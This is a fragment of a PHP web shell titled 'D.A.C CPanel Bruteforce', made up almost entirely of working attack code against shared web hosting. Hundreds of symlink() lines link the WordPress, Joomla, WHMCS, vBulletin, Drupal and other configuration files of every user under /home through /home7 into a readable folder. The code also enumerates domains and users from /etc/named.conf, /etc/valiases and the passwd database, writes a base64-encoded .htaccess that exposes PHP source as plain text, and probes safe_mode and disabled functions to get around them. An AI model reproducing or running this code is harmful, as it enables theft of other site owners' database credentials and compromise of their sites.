2585 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2586 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2587 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2588 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2589 symlink('/home2/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2590 symlink('/home2/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2591 symlink('/home2/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2592 symlink('/home2/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2593 symlink('/home2/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2594 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2595 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2596 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2597 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2598 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2599 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2600 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2601 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2602 symlink('/home2/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2603 symlink('/home2/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2604 symlink('/home2/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2605 symlink('/home2/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2606 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2607 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2608 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2609 symlink('/home2/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2610 symlink('/home2/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2611 symlink('/home2/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2612 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2613 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2614 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2615 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2616 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2617 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2618 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2619 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2620 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2621 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2622 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2623 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2624 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2625 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2626 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2627 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2628 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2629 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2630 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2631 symlink('/home3/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2632 symlink('/home3/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2633 symlink('/home3/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2634 symlink('/home3/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2635 symlink('/home3/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2636 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2637 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2638 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2639 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2640 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2641 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2642 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2643 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2644 symlink('/home3/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2645 symlink('/home3/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2646 symlink('/home3/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2647 symlink('/home3/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2648 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2649 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2650 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2651 symlink('/home3/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2652 symlink('/home3/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2653 symlink('/home3/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2654 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2655 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2656 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2657 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2658 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2659 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2660 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2661 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2662 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2663 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2664 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2665 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2666 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2667 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2668 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2669 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2670 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2671 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2672 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2673 symlink('/home4/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2674 symlink('/home4/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2675 symlink('/home4/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2676 symlink('/home4/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2677 symlink('/home4/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2678 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2679 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2680 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2681 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2682 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2683 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2684 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2685 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2686 symlink('/home4/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2687 symlink('/home4/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2688 symlink('/home4/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2689 symlink('/home4/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2690 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2691 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2692 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2693 symlink('/home4/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2694 symlink('/home4/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2695 symlink('/home4/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2696 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2697 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2698 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2699 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2700 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2701 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2702 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2703 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2704 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2705 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2706 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2707 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2708 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2709 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2710 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2711 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2712 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2713 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2714 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2715 symlink('/home5/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2716 symlink('/home5/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2717 symlink('/home5/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2718 symlink('/home5/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2719 symlink('/home5/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2720 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2721 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2722 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2723 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2724 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2725 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2726 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2727 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2728 symlink('/home5/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2729 symlink('/home5/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2730 symlink('/home5/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2731 symlink('/home5/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2732 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2733 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2734 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2735 symlink('/home5/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2736 symlink('/home5/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2737 symlink('/home5/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2738 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2739 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2740 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2741 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2742 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2743 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2744 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2745 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2746 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2747 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2748 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2749 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2750 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2751 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2752 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2753 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2754 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2755 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2756 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2757 symlink('/home6/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2758 symlink('/home6/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2759 symlink('/home6/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2760 symlink('/home6/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2761 symlink('/home6/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2762 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2763 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2764 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2765 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2766 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2767 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2768 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2769 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2770 symlink('/home6/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2771 symlink('/home6/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2772 symlink('/home6/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2773 symlink('/home6/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2774 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2775 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2776 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2777 symlink('/home6/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2778 symlink('/home6/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2779 symlink('/home6/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2780 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2781 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2782 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2783 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2784 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2785 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2786 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2787 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2788 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2789 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2790 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2791 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2792 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2793 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2794 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2795 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2796 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2797 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2798 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2799 symlink('/home7/'.$usern.'/public_html/inc/config.php',$pdomain.'~~MyBB.txt');
2800 symlink('/home7/'.$usern.'/public_html/sites/default/settings.php',$pdomain.'~~Drupal.txt');
2801 symlink('/home7/'.$usern.'/public_html/includes/configure.php',$pdomain.'~~Oscommerce.txt');
2802 symlink('/home7/'.$usern.'/public_html/lib/config.php',$pdomain.'~~Balitbang.txt');
2803 symlink('/home7/'.$usern.'/public_html/config/koneksi.php',$pdomain.'~~Lokomedia.txt');
2804 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
2805 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
2806 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
2807 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
2808 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
2809 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
2810 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
2811 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
2812 symlink('/home7/'.$usern.'/public_html/wp/wp-config.php',$pdomain.'~~Wordpress3.txt');
2813 symlink('/home7/'.$usern.'/public_html/home/wp-config.php',$pdomain.'~~Wordpress4.txt');
2814 symlink('/home7/'.$usern.'/public_html/main/wp-config.php',$pdomain.'~~Wordpress5.txt');
2815 symlink('/home7/'.$usern.'/public_html/site/wp-config.php',$pdomain.'~~Wordpress6.txt');
2816 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
2817 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
2818 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
2819 symlink('/home7/'.$usern.'/public_html/main/configuration.php',$pdomain.'~~Joomla4.txt');
2820 symlink('/home7/'.$usern.'/public_html/home/configuration.php',$pdomain.'~~Joomla5.txt');
2821 symlink('/home7/'.$usern.'/public_html/site/configuration.php',$pdomain.'~~Joomla6.txt');
2822 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
2823 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
2824 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
2825 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
2826 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
2827 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
2828 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
2829 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
2830 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
2831 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~Other1.txt');
2832 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~Other2.txt');
2833 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
2834 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~Other3.txt');
2835 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~Other4.txt');
2836 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
2837 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~Other5.txt');
2838 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
2839 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
2840 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
2841 }
2842 $d0mains = @file("/etc/named.conf");
2843 if($d0mains)
2844 {
2845 mkdir($fn);
2846 chdir($fn);
2847 foreach($d0mains as $d0main)
2848 {
2849 if(eregi("zone",$d0main))
2850 {
2851 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2852 flush();
2853 if(strlen(trim($domains[1][0])) > 2)
2854 {
2855 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
2856 syml($user['name'],$domains[1][0]);
2857 }
2858 }
2859 }
2860 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2861 }
2862 else
2863 {
2864 mkdir($fn);
2865 chdir($fn);
2866 $temp = "";
2867 $val1 = 0;
2868 $val2 = 1000;
2869 for(;$val1 <= $val2;$val1++)
2870 {
2871 $uid = @posix_getpwuid($val1);
2872 if ($uid)
2873 $temp .= join(':',$uid)."\n";
2874 }
2875 echo '<br/>';
2876 $temp = trim($temp);
2877 $file5 = fopen("test.txt","w");
2878 fputs($file5,$temp);
2879 fclose($file5);
2880$htaccess =
2881'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
2882aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
2883biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
2884';
2885$file = fopen(".htaccess","w+");
2886$write = fwrite ($file ,base64_decode($htaccess));
2887
2888 $file = fopen("test.txt", "r") or exit("Unable to open file!");
2889 while(!feof($file))
2890 {
2891 $s = fgets($file);
2892 $matches = array();
2893 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
2894 $matches = str_replace("home/","",$matches[1]);
2895 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
2896 continue;
2897 syml($matches,$matches);
2898 }
2899 fclose($file);
2900 echo "</table>";
2901 unlink("test.txt");
2902 echo "<body style='background:#000000;color:#ffffff;font-size:17px;font-family:Tahoma,Verdana,Arial;'><center>[Done] : <span style='color:".$color[0].";'>Successfull, </span> <a href=$fn/ style='text-decoration:none;'><input type='button' value='Go !'></a> <a href=".$_SERVER['PHP_SELF']." style='text-decoration:none;'><input type='button' value='Back !'></a></center></body>";
2903 }
2904exit;
2905}
2906?>
2907<form method="POST" target="_blank">
2908<input name="page" type="hidden" value="find">
2909 <table width="550" cellpadding="3" cellspacing="1" align="center" style="border:3px solid #EB4949;" border=1>
2910 <tr>
2911 <td valign="top" colspan="6" style="border-bottom:2px solid #EB4949;padding:10px;"><center><span style="font-family: Verdana;font-size:30px;font-weight:bold;text-shadow: <?php echo $color[0]; ?> 0.0em 0.0em 0.2em;">D.A.C CPanel Bruteforce</span><br>
2912 </center></td>
2913 </tr>
2914 <tr>
2915 <td valign="top" style="width: 200px;"><span class="label">Safe Mode</span></td>
2916 <td valign="top" colspan="5"><span class="label">
2917<?php
2918$safe_mode = ini_get('safe_mode');
2919if($safe_mode=='1')
2920{
2921echo 'ON';
2922}else{
2923echo 'OFF';
2924}
2925?>
2926 </span>
2927 </td>
2928 </tr>
2929</form>
2930 <tr>
2931 <td valign="top"><span class="label">Disable Function</span></td>
2932 <td valign="top" colspan="5">
2933<form method="POST" target="?cp">
2934<input name="matikan" type="hidden" value="sekatan">
2935<?php
2936if(''==($func=@ini_get('disable_functions')))
2937{
2938echo "<font color='#EB4949' style='position:absolute;font-size:13px;'>No Security for Function</font>";
2939echo '<tr><td valign="top"><span class="label">Bypass</span></td><td valign="top" colspan="5"><font color="#EB4949" style="font-size:13px;">Success</font></td></tr>';
2940}else{
2941echo '<script>alert("\t Please See Below And Press \t \n \t --->| Click Here First! |<--- \t");</script>';
2942echo "<font color=#FF0000 style='position:relatif;font-size:13px;'>$func</font>";
